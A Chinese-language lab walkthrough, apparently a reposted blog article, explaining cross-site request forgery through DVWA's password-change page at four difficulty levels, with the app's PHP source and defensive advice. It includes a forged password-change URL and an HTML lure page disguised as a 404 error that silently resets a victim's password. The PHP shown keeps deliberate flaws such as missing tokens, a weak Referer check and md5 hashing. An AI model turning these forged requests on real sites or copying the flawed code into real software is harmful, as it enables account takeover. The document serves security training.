DVWA-CSRF


0x01 CSRF

CSRF,全稱Cross-site request forgery,翻譯過來就是跨站請求偽造,是指利用受害者尚未失效的身份認證信息(cookie、會話等),誘騙其點擊惡意鏈接或者訪問包含攻擊代碼的頁面,在受害人不知情的情況下以受害者的身份向(身份認證信息所對應的)服務器發送請求,從而完成非法操作(如轉賬、改密等)。CSRF與XSS最大的區別就在於,CSRF並沒有盜取cookie而是直接利用。

0x02 Low級別

可以構造惡意的url地址或者頁面,都可以達到目的。

惡意的url地址:

http://ip/DVWA/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#

或者構造惡意頁面,使用img標簽

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <img src="http://192.168.84.129/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#">
    <h1>404</h1>
    <h2>file not found</h2>
</body>
</html>

注意:這里的html文件,必須是打開DVWA的瀏覽器。因為如果用戶使用A瀏覽器訪問站點,又使用B瀏覽器訪問惡意頁面,就不會觸發漏洞。

代碼如下:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // 獲取用戶的輸入
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // 確認兩次輸入的密碼是否相同,相同就更新數據庫內的信息
    if( $pass_new == $pass_conf ) {
        // 以下兩段代碼都是防止SQL注入的
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : 
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // 更新數據庫內的信息,具體函數作用以及對代碼的理解,在暴力破解那里我寫過的,這里就不寫了 $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston
"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 修改成功,返回信息給用戶 echo "<pre>Password Changed.</pre>"; } else { // 兩次輸入的密碼不同,所以返回信息給用戶 echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

0x03 Medium級別

代碼如下:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // 檢查請求來自何處。stripos函數用於查找字符串在另一字符串中第一次出現的位置(不區分大小寫)。
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // 獲取用戶輸入
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        if( $pass_new == $pass_conf ) {
            // 下面的代碼與Low級別差不多
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new 
) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["
___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } } else { // 這里返回信息給用戶是因為最開始的檢查來源不正確 echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

0x04 High級別

代碼如下:

大部分都和Low級別一樣,high級別只是加入了token,但是這樣能夠防止大部分的CSRF利用。因為只有獲取token才能進行CSRF,但是瀏覽器的跨域問題,不能直接獲取,所以比較難以利用。但是如果服務器存在存儲XSS可以獲取token。然后可以構造url和代碼進行CSRF利用。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // 檢查token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    if( $pass_new == $pass_conf ) {
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_s
ton"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // 生成token generateSessionToken(); ?>

0x05 Impossible級別

代碼如下:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // 檢查token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 這里會要求用戶輸入舊密碼,以及輸入兩次的新密碼,這里就可以防止CSRF
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // 這里是因為要通過數據庫驗證用戶的舊密碼,所以需要防止SQL注入
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) 
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr ); // 下面的代碼是通過數據庫驗證舊密碼的正確性 $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // 這里當兩次新密碼都相同且舊密碼正確才會進行修改密碼 if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // 將新密碼進行一些過濾,避免SQL注入 $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // 更新數據庫 $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); echo "<pre>Password Changed.</pre>"; } else { // 兩次輸入的新密碼不相同或者舊密碼錯誤都會報錯 echo "<pre>Passwords did not match or current password incorrect.</pre>"; } } // 生成token generateSessionToken(); ?>

0x06 總結

1.為了防止CSRF,可以加入Anti-CSRF,每次向客戶端發送一個隨機數,當客戶端向服務端發送數據時,比對隨機數以此來確定客戶端身份。
2.獲取當前用戶的密碼,以此判斷是否是當前用戶的操作,而非CSRF攻擊。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM